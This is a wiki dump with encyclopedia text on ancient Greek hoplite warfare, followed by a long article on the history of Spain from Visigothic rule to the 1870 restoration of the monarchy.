Warfare in [[Ancient Greece]] centered mainly around heavy infantrymen called '''hoplites'''.  The word ''hoplite'' ([[Greek language|Greek]] {{polytonic|&amp;#8001;&amp;pi;&amp;lambda;&amp;#8055;&amp;tau;&amp;eta;&amp;sigmaf;}}, hoplit&amp;#275;s) derives from hoplon ({{polytonic|&amp;#8005;&amp;pi;&amp;lambda;&amp;omicron;&amp;nu;}}, plural hopla, {{polytonic|&amp;#8005;&amp;pi;&amp;lambda;&amp;alpha;}}) meaning an item of armor or equipment and consequently the entire equipment of the hoplite (but not specifically the circular shield, which is sometimes incorrectly referred to as a hoplon, though it was in fact called an ''aspis''). These soldiers probably first appeared in the late 8th century BC. These were a citizen-[[militia]], and so were armed as [[spear]]men, which are relatively easy to equip and maintain; mainly they represented the [[middle class]], who could afford the cost of the armaments. Almost all the famous men of ancient Greece, even the philosophers and playwrights, fought as hoplites at some point in their lives.

Since the hoplites were a militia force and did not receive permanent wages, campaigns were short and mainly confined to the summer. Armies marched directly to their target. There the defenders could hide behind [[city wall]]s, in which case the attackers generally had to content themselves with ravaging the countryside as [[siege]]craft was undeveloped, or meet them on the field. Battles were usually set piece and intended to be decisive.  Both forces lined up on a level field, usually in a rough [[phalanx formation]] around eight ranks deep (though this varied). Other troops were less important; [[cavalry]] generally protected the flanks, when present at all, and both light infantry and missile troops were negligible.

Hoplites generally armed themselves immediately before battle, since the equipment was so heavy. Each man provided his own gear so it was fairly non-uniform, and often friendly troops would fail to recognise one another. A hoplite typically had a breastplate, a bronze helmet with cheekplates, as well as [[greaves]] and other armor, plus a bowl-shaped wooden [[shield]] called an [[aspis]] which was around 1&amp;nbsp;[[metre]] across. The primary weapon was a spear, around 2.7&amp;nbsp;metres in length; as this frequently broke upon charging and was unwieldy for close combat, hoplites also carried a smaller 60&amp;nbsp;cm thrusting sword called a [[xiphos]]. The total cost of the hoplon was roughly equivalent to a middle-sized car in our time.

By contrast, other contemporary infantry tended to wear relatively light armor, and were armed with shorter spears, [[javelin]]s, or [[Bow (weapon)|bow]]s.  Shields were usually smaller, or else were large enough to cover the full body and rested on the ground.  The middle-sized shield of the hoplite was made possible in part by the shape, which allowed it to be supported on the shoulder.  In formation the shields were locked together so that each defended the left side of the soldier carrying it and the right side of his neighbor. While the general assumption is that the [[spear]] was gripped overhand, others have argued that it was held underarm. [http://www.staff.ncl.ac.uk/nikolas.lloyd/weapons/spear.html]

The strength of hoplites was in shock combat. The two armies would literally run into each other in hopes of breaking or encircling the enemy line. Failing that, things degenerated into a pushing match, with the men in back trying to force the front lines through those of the enemy. Battles rarely lasted more than an hour or so. Once one of the lines broke, the troops would generally drop their equipment and flee from the field, usually without being pursued. Casualties were slight compared to later battles, rarely amounting to more than 5% of the losing side, but the slain often included the most influential citizens and generals who led from the front. Thus the whole war was usually decided by a single field battle; victory was enforced by ransoming the fallen back to the defeated, called the &quot;custom of the Greeks&quot;.

The rise and fall of hoplite warfare was intimately connected to the rise and fall of the [[city-state]].  During the [[Greco-Persian Wars|Persian War]]s, hoplites were forced to run at archers, and during the [[Peloponnesian War]] light troops such as [[peltast]]s became increasingly common.  As a result, they began wearing less armor, carrying shorter swords, and in general adapting for greater mobility.  However, hoplite warfare was in decline; there were three major battles in the Peloponnesian War, and none proved decisive.  Instead there was increased reliance on [[navy|navies]], skirmishers, [[mercenary|mercenaries]], city walls, [[siege engine]]s, and non-set piece tactics. These reforms made wars of attrition possible and greatly increased the casualties of battle.  Many of them were combined by the brilliant general [[Epaminondas]], whose tactics formed the basis for the [[Macedonian phalanx]] of [[Philip II of Macedon]], used as a back-up to his cavalry.  These forces defeated the last major hoplite army, even then fairly reactionary, at the [[Battle of Chaeronea (338 BC)]], after which Greece became part of the [[Macedon|Macedonia]]n empire.

Hoplite-style warfare was also practiced around the [[Mediterranean]] basin. Of particular note, the [[Etruscans]] usually fought with such militias, a practice they adopted from the [[Greek colonies]]. From this sort of warfare developed the [[Roman legion]] that was to dominate western [[military history]] for hundreds of years.

==External links==
*[[Perseus Digital Library]] database:
**[http://perseus.mpiwg-berlin.mpg.de/cgi-bin/browser?object=Vase&amp;field=Keyword&amp;keyclass=Generic%20People&amp;keyword=hoplite vases]
**[http://perseus.mpiwg-berlin.mpg.de/cgi-bin/browser?object=Sculpture&amp;field=Keyword&amp;keyclass=Generic%20People&amp;keyword=hoplite statues]
**[http://perseus.mpiwg-berlin.mpg.de/cgi-bin/browser?object=Coin&amp;field=Keyword&amp;keyclass=Generic%20People&amp;keyword=hoplite coins]

[http://uts.cc.utexas.edu/~sparta/topics/articles/enthusiast/panoply.htm Sparta Pages: My PANOPLY, or How I Saved Western Civilization with my Bare Knees] -- web page describing how an enthusiast can get his own hoplite armor.
[http://uts.cc.utexas.edu/~sparta/index.html Sparta Pages] -- web page on Sparta and the Hoplite.

[[Category:Ancient Greek titles]]
[[Category:Ancient warfare]]
[[Category:Ancient military unit types]]
[[Category:Ancient Greek military equipment]]
[[Category:Infantry]]

[[da:Hoplit]]
[[de:Hoplit]]
[[es:Hoplita]]
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  <page>
    <title>History of Spain</title>
    <id>13299</id>
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      <timestamp>2006-02-28T02:03:20Z</timestamp>
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      <comment>/* Spain under the Habsburgs (16th-17th centuries) */</comment>
      <text xml:space="preserve">The '''[[history]] of [[Spain]]''' is part of the [[history of Europe]] and of the [[history of present-day nations and states|present-day nations and states]].

It is traditional (at least, since the [[19th century]]) to start the history of modern Spain with the [[Visigoth]] kingdom. Although it is debatable whether there is continuity between it and the Kingdom of Castilla and Aragon after the [[15th century]], a discussion of modern Spain would be incomplete without a mention of the Visigoth Kingdom. Accordingly, both it and [[Al Andalus]] have their own sections in this article.

{{History of Spain|
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==Early history==
{{main|Prehistoric Spain}}

The earliest history of the [[Iberian peninsula]] is discussed as part of [[prehistoric Europe]].  Before the [[Roman Empire]], the [[Iberian Peninsula]] was never politically unified, see [[Preroman Iberia]] for a discussion of the indigenous [[Celtiberian]] groups and the trading ports established by the Greek, [[Tyre|Tyrian]] ([[Phoenicia]]n), and later [[Carthage|Carthaginian]] along the Mediterranean coast.

[[Roman Iberia]] is discussed under [[Hispania]] and in entries keyed to the Roman provinces into which it was divided: [[Hispania Ulterior]] and [[Hispania Citerior]] during the late [[Roman Republic]]; and, during the [[Roman Empire]], [[Hispania Taraconensis]] in the northeast, [[Hispania Baetica]] in the south (roughly corresponding to [[Andalucia]]), and [[Lusitania]] in the southwest (corresponding to modern [[Portugal]]).

==Visigothic Hispania (5th-8th centuries) ==
{{main articles|[[Visigoth]] and [[Visigothic Hispania]]}}

After the fall of the [[Roman Empire]], [[Germanic tribes]] invaded the former empire, several turned sedentary and created successor-kingdoms to the Romans in various parts of [[Europe]]. [[Iberian Peninsula|Iberia]] was taken over by the [[Visigoths]] after [[410]].

In the Iberian peninsula, as elsewhere, the Empire fell not with a bang but with a whimper. Rather than there being any convenient date for the &quot;fall of the Roman Empire&quot; there was a progressive &quot;de-Romanization&quot; of the Western Roman Empire in Hispania and a weakening of central authority, throughout the 3rd, 4th and 5th centuries. At the same time, there was a process of &quot;Romanization&quot; of the Germanic and Hunnic tribes settled on both sides of the ''[[limes]]'' (the fortified frontier of the Empire along the [[Rhine]] and [[Danube]] rivers). The Visigoths, for example, were converted to [[Arianism|Arian Christianity]] around 360, even before they were pushed into imperial territory by the expansion of the [[Huns]]. In the winter of [[406]], taking advantage of the frozen Rhine, the ([[Germanic tribes|Germanic]]) [[Vandals]] and [[Sueves]], and the ([[Sarmatian]]) [[Alans]] invaded the empire in force. Three years later they crossed the [[Pyrenees]] into [[Iberian Peninsula|Iberia]] and divided the Western parts, roughly corresponding to modern Portugal and western Spain as far as [[Madrid]], between them. The Visigoths meanwhile, having sacked Rome two years earlier, arrived in the region in [[412]] founding the Visigothic kingdom of [[Toulouse]] (in the south of modern France) and gradually expanded their influence into the Iberian peninsula at the expense of the Vandals and Alans, who moved on into North Africa without leaving much permanent mark on Hispanic culture. The Visigothic kingdom shifted its capital to [[Toledo, Spain|Toledo]] and reached a high point during the reign of [[Leovigild]], treated in some detail at its own entry.  

Importantly, Spain never saw a decline in interest in classical culture to the degree observable in Britain, Gaul, Lombardy and Germany. The Visigoths tended to maintain more of the old Roman institutions, and they had a unique respect for legal codes that resulted in continuous frameworks and historical records for most of the period between [[415]], when Visigothic rule in Spain began, and [[711]], when it is traditionally said to end. The proximity of the Visigothic kingdoms to the Mediterranean and the continuity of western Mediterranean trade, though in reduced quantity, supported Visigothic culture. Arian Visigothic nobility kept apart from the local Catholic population. The Visigoth ruling class looked to [[Constantinople]] for style and technology while the rivals of Visigothic power and culture were the Catholic bishops&amp;mdash; and a brief incursion of Byzantine power in Cordoba.

The period of Visigothic rule saw the spread of [[Arianism]] briefly in Spain. In [[587]], [[Reccared]], the Visigothic king at Toledo, having been converted to Catholicism  put an end to dissension on the question of Arianism and launched a movement in Spain to unify the various religious doctrines that existed in the land. The Council of Lerida in [[546]] constrained the clergy and extended the power of law over them under the blessings of Rome.

The Visigoths inherited from Late Antiquity a sort of [[feudal]] system in Spain, based in the south on the Roman [[villa]] system and in the north drawing on their vassals to supply troops in exchange for protection. The bulk of the Visigothic army was composed of slaves, raised from the countryside. The loose council of nobles that advised Spain's Visigothic kings and legitimized their rule was responsible for raising the army, and only upon its consent was the king able to summon soldiers.

The impact of Visigothic rule was not widely felt on society at large, and certainly not compared to the vast bureaucracy of the Roman Empire; they tended to rule as barbarians of a mild sort, uninterested in the events of the nation and economy, working for personal benefit, and little literature remains to us from the period. They did not, until the period of Muslim rule, merge with the Spanish population, preferring to remain separate, and indeed the Visigothic language left only the faintest mark on the modern languages of Iberia. The most visible effect was the depopulation of the cities as they moved to the countryside. Even while the country enjoyed a degree of prosperity when compared to the famines of France and Germany in this period, the Visigoths felt little reason to contribute to the welfare, permanency, and infrastructure of their people and state. This contributed to their downfall as they could not count on the loyalty of their subjects, when the Moors arrived in the [[8th century]].

==Al-Andalus (8th-15th centuries) ==
{{main|Al Andalus}}

In [[711]], [[Arab]]s and [[Berber]]s had converted to [[Islam]], a religion founded in the [[7th century]] by prophet [[Muhammad]] and which by the 8th century dominated all the north of [[Africa]]. A raiding party led by [[Tariq ibn-Ziyad]] was sent to intervene in a civil war in the Visigothic kingdoms in Iberia. Crossing the [[Strait of Gibraltar]], it won a decisive victory in the summer of [[711]] when the Visigoth king [[Roderic]] was defeated and killed on [[July 19th]] at the [[Battle of Guadalete]]. Tariq's commander, [[Musa bin Nusair]] quickly crossed with substantial reinforcements, and by [[718]] the Muslims dominated most of the peninsula. The advance into Europe was stopped by the [[Franks]] under [[Charles Martel]] at the [[Battle of Tours]] in [[732]].

The rulers of Al-Andalus were granted the rank of [[Emir]] by the [[Umayyad]] [[Caliph]] in [[Damascus]]. After the Umayyads were overthrown by the [[Abbasids]], [[Abd-ar-rahman I]] declared Cordoba an independent emirate. Al-Andalus was rife with internal conflict between the Arab Umayyad rulers, the [[Berber]] (North African) commoners and the Visigoth-Roman Christian population. Many of the Berbers, who had been given poor land in the northern parts of the peninsula, soon abandoned their estates and returned to Africa after a number of years with failed harvests. The lands were left unclaimed through disinterest, and this created a power vacuum where Christian kingdoms later would rise.

In the [[10th century]] [[Abd-ar-rahman III]] declared the [[Caliphate of Cordoba]], effectively breaking all ties with the Egyptian and Syrian caliphs. The Caliphate was mostly concerned with maintaining its power base in North Africa, but these possessions eventually dwindled to the [[Ceuta]] province. Meanwhile, a slow but steady migration of Christian subjects to the northern kingdoms was slowly increasing the power of the northern kingdoms. Even so, Al-Andalus remained vastly superior to all the northern kingdoms combined in population, economy, culture and military might, and internal conflict between the Christian kingdoms contributed to keep them relatively harmless.

Muslim interest in the peninsula returned in force around the year [[1000]]. Under [[Al-Mansur (Abi Amir)|Al-Mansur]] (a.k.a. ''Almanzor''), who sacked Barcelona ([[985]]), and subsequently his son, Christian cities were subjected to numerous raids. After his son's death, the caliphate plunged into a civil war and splintered into the so-called &quot;[[Taifa]] Kingdoms&quot;. The Taifa kings competed against each other not only in war, but also in the protection of the arts, and culture enjoyed a brief upswing. The Taifa kingdoms lost ground to the Christian realms in the north and, after the loss of Toledo in [[1085]], the Muslim rulers reluctantly invited the [[Almoravides]], who invaded Al-Andalus from North Africa and established an empire. In the 12th century the Almoravid empire broke up again, only to be taken over by the [[Almohad]] invasion, who were defeated in the decisive [[battle of Las Navas de Tolosa]] in [[1212]]. By the mid-13th century [[Granada]] was the only independent Muslim realm in Spain, which would last until [[1492]].

[[Cordoba, Spain|Córdoba]] became one of the most beautiful and advanced cities of [[Europe]], and an important scholarly center. (See also [[Abbadides]], [[Almohades]]).

==Reconquista (8th-15th centuries) ==
{{main|Reconquista}}

The [[expulsion]] of the Muslims was reputedly started by the first King of [[Kingdom of Asturias|Asturias]], named [[Pelayo]] ([[718]]-[[737]]), who started his fight against the Moors in the mountains of [[Covadonga]] ([[722]]). Later, his sons and descendants continued with his work until all of the Muslims were expelled.

Meanwhile, in the east of the peninsula the [[Franks|Frankish]] emperors established the ''[[Marca Hispanica]]'' across the [[Pyrenees]] in part of what today is [[Catalonia]], reconquering Girona in [[785]] and Barcelona in [[801]]. This formed a buffer zone against Islam.

The idea of the ''Reconquista'' as a single process spanning eight centuries is historically inaccurate. The Christian realms in northern Spain warred against each other as much as against the Muslims. The ancient Kingdom of [[Asturias]] clung to the loose mountains of northwestern Spain, with its capital at [[Oviedo]], while the [[Basque people|Basques]] in [[Navarre]] retained sovereignty through the period of Muslim rule. The military decline of the Ummayads in Spain led to the creation in [[913]] of the [[Kingdom of León]]. [[Sancho III of Navarre]] - a man of considerable military skill - placed his son [[Ferdinand I of León|Ferdinand]] on the throne of the county of [[Castile]] in [[1028]], propelling Christian Spain yet further into the south. Ferdinand was a prudent and pious monarch, unifying Navarre, [[Galicia (Spain)|Galicia]], Asturias, and León under his leadership. Because the tradition of [[primogeniture]] did not yet exist in Spain, upon Ferdinand's death in [[1065]] his lands were divided among his sons, [[Alfonso VI of Castille]], [[Sancho II of Castile]], and [[Garcia of Galicia and Portugal]]. Alfonso attempted to take Sancho's land, although the latter apparently inherited more of his father's tact and strategy, and after defeating him sent Alfonso into exile. Garcia never ruled, and was imprisoned for the duration of his short life.

Sancho's death in [[1072]] meant that Alfonso VI had the superior claim, and he returned to power, once again in command of all of Ferdinand I's domains. Alfonso was an impressive leader as well, and did much to improve his realm to become one of Christian Europe's foremost monarchies, tolerating Muslims to an extent remarkable for his time. During his reign, [[El Cid]], the [[11th century]] hero of Spain's epic poem was banished and found refuge with the Muslim king of [[Zaragoza]]. With the collapse of the caliphate of Córdoba, Al-Andalus had broken apart into a number of small, warring domains, which contributed to the success of Alfonso's southward expansionist drive of the Christian kingdoms, culminating with the conquest of [[Toledo, Spain|Toledo]] in [[1085]]. After the invasion of the Almoravides, his progress was checked.

On the death of [[Alfonso VII of Castile|Alfonso VII]], León and Castile were again divided, although the division was not permanent: [[Alfonso IX of León|Alfonso IX]]'s son [[Ferdinand III of Castile|Ferdinand]] by [[Berenguela of Castile]], united the two realms on his accession to Leon in [[1230]]. Called the [[Saint]], Ferdinand fought for most of his reign against the Moors in the south. The reconquest of Spain had been declared a [[crusade]] at the turn of the 13th century, but when all lands but Granada had been conquered, most of its energy was spent. Ferdinand's reign was the beginning of Spain's prominence in European affairs, ending the diplomatic isolation brought on by his father's clashes with the [[Pope]] over his marriages. The [[University of Salamanca]] - one of Europe's oldest - was built during his reign and spawned an early Christian school of thought in [[economics]]. Ferdanado's successor, [[Alfonso X of Castile|Alfonso X the Learned]], helped to reintroduce classical thought to Europe from the Moorish libraries and universities. Succeeding monarchs, allied to the Kingdom of [[Aragón]], succeeded in driving the Muslims further south, capturing [[Gibraltar]] in [[1309]]. The despotic and bloody rule of [[Pedro I of Castile|Pedro the Cruel]] caused him to be ousted in [[1366]] briefly. Pedro's wars with Aragon caused Castile's power to weaken briefly.

[[Image:Europe in 1470.PNG|thumb|300px|Europe in 1470.]]

A revived movement for the Christian unification of Spain was capitalized on by the &quot;Catholic monarchs&quot; (''[[Reyes Católicos]]'' in Spanish) [[Isabella of Castile]] and [[Ferdinand II of Aragon]] in order to justify their invasion of Granada, the expulsion of the Jews and the forceful conversion of the Moors. In the [[15th century]], the Kingdom of [[Castile]] and the [[Crown of Aragon]] were temporaly united under Isabella and Ferdinand's marriage. These two able rulers ruled jointly and worked to consolidate the power of the monarchy at the expense of the nobility. During their reign, the [[castle]]s of many nobles (symbols of aristocratic independence from the monarchy) were demolished, and a system of regular [[taxation]] was established.
Ferdinand and Isabella established the basis for the unification of Spain religiously as well as politically and economically.
Under their watch, [[Muslim]] rule on the [[Iberian Peninsula]] came to an end, and the Muslims who did not convert to Christianity (thenceforth called ''moriscos'') were banished from the land. The [[Catalonia|Catalan]]-[[Aragonese empire]] was at that time already an important maritime power in the Mediterranean, and Castile was in competition with [[Portugal]] for domination of the [[Atlantic Ocean]].  After the final conquest of the last Moorish stronghold at [[Granada]] in [[1492]], Spain started financing voyages of exploration.  Those of [[Genoa|Genoese]] [[Christopher Columbus]] brought a [[New World]] to Europe's attention, and were followed by the [[Conquistador]]s who brought the native empires of [[Mesoamerica]] and the [[Inca]] under Spanish control.  At the same time, the [[Jew|Jews]] of Spain were ordered on [[March 30]], [[1492]] to convert to [[Christianity]] or be exiled from the country.

In [[1499]], about 50,000 Moors in Granada were coerced by [[Francisco Cardinal Jiménez de Cisneros|Cardinal Cisneros]] into mass [[baptism]]s and conversion. During the [[uprising]] that followed (known as the [[First Rebellion of the Alpujarras]]), people who refused the choices of baptism or [[deportation]] to [[Africa]] were systematically eliminated. What followed was a mass flee of Moors, Jews and [[Gitanos]] from Granada city and the villages to the mountain regions (and their hills) and the rural country, however by 1500 Cisneros reported that &quot;There is now no one in the city who is not a Christian, and all the mosques are churches&quot;. 

Through a policy of alliances with other European nobility and the conquest of most of [[South America]] and the [[West Indies]], Spain began to establish [[Spanish Empire|itself as an empire]]. The [[Treaty of Tordesillas]], negotiated by [[Pope Alexander VI]] between Portugal and Spain, effectively divided up the non-European world between these two budding empires.
Massive amounts of [[gold]] and [[silver]] were imported from the New World into Spain's coffers. However, in the long run this hurt the Spanish economy much more than it helped it. The [[bullion]] caused [[price revolution|high inflation rates]], which undermined the competitivenes of Spanish industry and commerce (its effects being discussed by the ubiquitous [[School of Salamanca]] and the [[arbitrista]]s). Additionally, Spain became dependent on its colonies for income, and when the [[Dutch Republic|United Provinces]] began to capture Spanish vessels on the way to and from the New World, Spain suffered massive economic losses.
These effects, combined with the expulsion of Spain's most economically vital classes in the late [[15th century]] (the Jews and the [[Moors]]), caused Spain's economy to collapse several times in the [[16th century]], bringing the Golden Age of Spain to a close.

==Spain under the Habsburgs (16th-17th centuries) ==
{{main|Habsburg Spain}}

Spain's powerful world empire of the great [[16th century|16th]] and [[17th century|17th centuries]] reached its height and declined under the [[Habsburgs]]. The Spanish Empire reached its maximum extent in Europe under [[Charles V, Holy Roman Emperor|Charles I of Spain]], who was also (as Charles V) emperor of the [[Holy Roman Empire]].

Charles V became king in [[1516]], and the history of Spain became even more firmly enmeshed with the dynastic struggles in Europe. During his reign, the Spanish economy was drastically reoriented by the beginnings of the influx of precious metals from America. The king was not often in Spain, and as he approached the end of his life he made provision for the division of the Habsburg inheritance into two parts: on the one hand Spain, and its possessions in the Mediterranean and overseas, and the [[Holy Roman Empire]] itself on the other. The Habsburg possessions in [[The Netherlands]] also remained with the Spanish crown.

This was to prove a difficulty for his successor [[Philip II of Spain]], who became king on Charles V's abdication in [[1556]]. Spain largely escaped the religious conflicts that were raging throughout the rest of Europe, and remained firmly Roman Catholic. Philip saw himself as a champion of Catholicism, both against the [[Turkic peoples|Turks]] and the [[heresy|heretics]]. In the [[1560s]], plans to consolidate control of the Netherlands led to unrest, which gradually led to the [[Calvinism|Calvinist]] leadership of the revolt and the [[Eighty Years' War]]. This conflict consumed much Spanish expenditure, and led to an attempt to conquer [[England]] &amp;ndash; a cautious supporter of the Dutch &amp;ndash; in the unsuccessful [[Spanish Armada]], an early battle in the [[Anglo-Spanish War (1585)|Anglo-Spanish War]] ([[1585]]-[[1604]]) and war with France ([[1590]]-[[1598]]).

Despite these problems, the large inflow of American gold, the justified military reputation of the Spanish infantry and even the navy quickly recovering from its Armada disaster, made Spain the leading European power, a novel situation of which its citizens were only just becoming aware. The [[Iberian Union]] with [[Portugal]] in [[1580]] not only unified the peninsula, but added that country's worldwide resources to the Spanish crown. However, economic and administrative problems multiplied in [[Castile]], and the weakness of the native economy became evident in the following century: rising inflation, the expulsion of the Jews and Moors from Spain, and the dependency of Spain on the gold and silver imports combined to cause multiple bankruptcies and economic crashes in Spain.

Philip II died in [[1598]], and was succeeded by his son [[Philip III of Spain|Philip III]], in whose reign a ten year truce with the Dutch was overshadowed in [[1618]] by Spain's involvement in the European-wide [[Thirty Years' War]]. Government policy was dominated by favorites, but it was also the reign in which the geniuses of [[Cervantes]] and [[El Greco]] flourished.

Philip III was succeeded in [[1621]] by his son [[Philip IV of Spain]]. Much of the policy was conducted by the minister [[Gaspar de Guzmán, Conde de Olivares]]. In [[1640]], with the war in central Europe having no clear winner except the French, both Portugal and [[Catalonia]] rebelled. Portugal was lost to the crown for good, Catalonia was suppressed. In the reign of Philip's son and successor [[Charles II of Spain|Charles II]], Spain was gradually being reduced to a second-rank power.

The [[Habsburg]] dynasty became extinct in Spain and the [[War of the Spanish Succession]] ensued in which the other European powers tried to assume control of the Spanish monarchy. King [[Louis XIV of France]] eventually &quot;won&quot; the War of Spanish Succession, and control of Spain passed to the [[Bourbon dynasty]].

==The Enlightenment: Spain under the Bourbons (18th century) ==
{{main|Enlightenment Spain}}

[[Philip V of Spain|Philip V]], the first Bourbon king, of French origin, signed the ''Decreto de Nueva Planta'' in [[1715]], a new law that revoked most of the historical rights and privileges of the different kingdoms that conformed the Spanish Crown, unifying them under the laws of Castile, where the [[Cortes Generales|Cortes]] had been more receptive to the royal wish. Spain became culturally and politically a follower of absolutist France. The rule of the Spanish Bourbons continued under [[Ferdinand VI of Spain|Ferdinand VI]] and [[Charles III of Spain|Charles III]].

Under the rule of Charles III and his ministers, [[Leopoldo de Gregorio|Leopoldo de Gregorio, Marquis of Esquilache]] and [[José Moñino|José Moñino, Count of Floridablanca]], Spain embarked on a program of [[enlightened despotism]] that brought Spain a new prosperity in the middle of the [[eighteenth century]]. After losing alongside [[France]] against the [[United Kingdom]] in the [[Seven Years' War]], Spain recouped most of her territorial losses in the [[American Revolutionary War]]. The reforming spirit of Charles III was extinguished in the reign of his son, [[Charles IV of Spain|Charles IV]], seen by some as mentally handicapped. Dominated by his wife's lover, [[Manuel de Godoy]], Charles IV embarked on policies that overturned much of Charles III's reforms. After briefly opposing [[Revolutionary France]] early in the [[French Revolutionary Wars]], Spain soon allied with its northern neighbor, only to be [[blockade]]d by the British. The loss of commercial and political ties to its colonies would lead to the independence of most of the [[Spanish Empire]] in the [[New World]]. Charles IV's vacillation as a loyal French ally led [[Napoleon I of France|Napoleon Bonaparte]], Emperor of France, to invade Spain in [[1808]], beginning the [[Peninsular War]].

Under the [[Bonaparte dynasty]], Spain failed to embrace the [[mercantilism|mercantile]] and [[industrial revolution]]s of the [[18th century]], and also failed to absorb the ideals of [[the Enlightenment]] that were revolutionizing European thought. These missed opportunities, combined with the economic and military failures of the [[17th century]], caused the country to fall desperately behind [[Kingdom of Great Britain|Britain]], [[France]], and [[Germany]] in economic and political power.

==Napoleonic Wars: War of Spanish Independence (1808-1814)==
{{Seesubarticle|Peninsular war}}

Spain initially sided against France in the [[Napoleonic Wars]], but the defeat of her army early in the war led to [[Charles IV of Spain|Charles IV]]'s pragmatic decision to align with the revolutionary French. The Spanish fleet was annihilated, along with the French, at the decisive [[Battle of Trafalgar]] in [[1805]], prompting the vacillating king of Spain to reconsider his alliance with France. Spain broke off from the [[Continental System]] temporarily, and Napoleon - aggravated with the Bourbon kings of Spain - invaded and deposed Charles. The Spanish people vigorously resisted the move and ''juntas'' were formed across Spain that pronounced themselves in favor of Charles's son [[Ferdinand VII of Spain|Ferdinand]].

Spain was put under a British blockade, and her colonies - for the first time separated from their colonial rulers - began to trade independently with Britain. Initially, the juntas declared their support for Ferdinand, expecting greater autonomy from Madrid under the liberal constitution that the juntas had drafted. In [[1812]] the [[Cortes Generales|Cortes]] took refuge at [[Cádiz]] and created the first modern Spanish constitution, the [[Constitution of 1812]] (informally named ''La Pepa'').

The British, led by the [[Arthur Wellesley, 1st Duke of Wellington|Duke of Wellington]], fought Napoleon's forces in the [[Peninsular War]], with [[Joseph Bonaparte]] ruling as king at Madrid. The brutal war was one of the first [[guerrilla warfare|guerrilla war]]s in modern Western history; French supply lines stretching across Spain were mauled repeatedly by Spanish guerrillas. The war in [[Iberian peninsula|Iberia]] fluctuated repeatedly, with Wellington spending several years behind his fortresses in [[Portugal]] while launching occasional campaigns into Spain. The French were decisively defeated at the [[Battle of Vitoria]] in [[1813]], and the following year, Ferdinand was restored as King of Spain.

==Spain in the nineteenth century ([[1814]]-[[1873]])==
{{Seesubarticle|Mid-nineteenth century Spain}}

Although the ''juntas'' that had forced the French to leave Spain had sworn by the liberal [[Constitution of 1812]], [[Ferdinand VII of Spain|Ferdinand VII]] openly believed that it was too liberal for the country. On his return to Spain, he refused to swear by it himself, and he continued to rule in the authoritarian fashion of his forebears.

Although Spain accepted the rejection of the Constitution, the policy was not warmly accepted in Spain's empire in the [[New World]]. Revolution broke out. Spain - nearly bankrupt from the war with France and the reconstruction of the country - was unable to pay her soldiers, and in [[1820]], an expedition intended for the colonies revolted in [[Cadiz]]. When armies throughout Spain pronounced themselves in sympathy with the revolters, led by [[Rafael del Riego]], Ferdinand relented and was forced to accept the liberal Constitution of 1812. Ferdinand himself was placed under effective house arrest for the duration of the liberal experiment.

The [[Triennio liberal|three years]] of liberal rule that followed coincided with a [[Spanish Civil War, 1820-1823|civil war in Spain]] that would typify Spanish politics for the next century. The liberal government, which reminded European statesmen entirely too much of the governments of the [[French Revolution]], was looked on with hostility by the [[Congress of Verona]] in [[1822]], and France was authorized to intervene. France crushed the liberal government with massive force, and Ferdinand was restored as absolute monarch. The American colonies, however, were completely lost; in [[1824]], the last Spanish army on the American mainland was defeated at the [[Battle of Ayacucho]] in southern [[Peru]].

A period of uneasy peace followed in Spain for the next decade. Having borne only a female heir presumptive, it appeared that Ferdinand's brother, [[Infante Carlos of Spain]], would become crowned [[King of Spain]] on Ferdinand's death. While Ferdinand aligned with the conservatives, fearing another national insurrection, he did not view the reactionary policies of his brother as a viable option. Ferdinand - resisting the wishes of his brother - decreed the [[Pragmatic Sanction of 1830]], enabling his daughter Isabella to become Queen. Carlos, who made known his intent to resist the sanction, fled to [[Portugal]].

Ferdinand's death in [[1833]] and the accession of Isabella (only three years old at the time) as Queen of Spain sparked the [[First Carlist War]]. Carlos invaded Spain and attracted support from reactionaries and conservatives in Spain; Isabella's mother, [[Maria Cristina of Bourbon-Two Sicilies]], was named [[regent]] until her daughter came of age.

The insurrection seemed to have been crushed by the end of the year; Maria Cristina's armies, called &quot;Cristino&quot; forces, had driven the Carlist armies from most of the Basque country. Carlos then named the [[Basque people|Basque]] general [[Tomás de Zumalacárregui]] his [[commander-in-chief]]. Zumalacárregui resuscitated the Carlist cause, and by [[1835]] had driven the Cristino armies to the [[Ebro River]] and transformed the Carlist army from a demoralized band into a professional army of 30,000 of quality superior to the government forces.

Zumalacárregui's death in [[1835]] changed the Carlists' fortunes. The Cristinos found a capable general in [[Baldomero Espartero]]. His victory at the [[Battle of Luchana]] ([[1836]]) turned the tide of the war, and in [[1839]], the [[Convention of Vergara]] put an end to the first Carlist insurrection.

Espartero, operating on his popularity as a [[war hero]] and his sobriquet &quot;Pacifier of Spain&quot;, demanded liberal reforms from Maria Cristina. The Queen Regent, who resisted any such idea, preferred to resign and let Espartero become regent instead. Espartero's liberal reforms were opposed, then, by moderates; the former general's heavy-handedness caused a series of sporadic uprisings throughout the country from various quarters, all of which were bloodily suppressed. He was overthrown as regent in [[1843]] by [[Ramón María Narváez]], a moderate, who was in turn perceived as too reactionary. Another Carlist uprising, the [[Matiners' War]], was launched in [[1846]] in [[Catalonia]], but it was poorly organized and suppressed by [[1849]].

Isabella took a more active role in government after she came of age, but she was immensely unpopular throughout her reign. She was viewed as beholden to whoever was closest to her at court, and that she cared little for the people of Spain. In [[1856]], she attempted to form a pan-national coalition, the [[Union Liberal]], under the leadership of [[Leopoldo O'Donnell]] who had already marched on Madrid that year and deposed another Espartero ministry. Isabella's plan failed and cost Isabella more prestige and favor with the people. Isabella launched a successful war against [[Morocco]], waged by generals O'Donnell and [[Juan Prim]], in [[1860]] that stabilized her popularity in Spain.  However, a campaign to reconquer [[Peru]] and [[Chile]] during the [[Chincha Islands War]] proved disastrous and Spain suffered defeat before the determined South American powers.

In [[1866]], a revolt led by [[Juan Prim]] was suppressed, but it was becoming increasingly clear that the people of Spain were upset with Isabella's approach to governance. In [[1868]], the [[Glorious Revolution (Spain)|Glorious Revolution]] broke out when the ''[[progresista]]'' generals [[Francisco Serrano y Dominguez|Francisco Serrano]] and [[Juan Prim]] revolted against her, and defeated her ''[[moderado]]'' generals at the [[Battle of Alcolea]]. Isabella was driven into exile in [[Paris]].

Revolution and anarchy broke out in Spain in the two years that followed; it was only in [[1870]] that the Cortes declared that Spain would have a king again. As it turned out, this decision, and therefore the Revolution, played an important role in European and thus world history, for a German prince's candidacy to the Spanish throne and French opposition to him served as the immediate motive for the (arguably inevitable) [[Franco-Prussian War]]. [[Amadeus I of Spain|Amadeus of Savoy]] was selected, and he was duly crowned [[King of Spain]] early the following year.

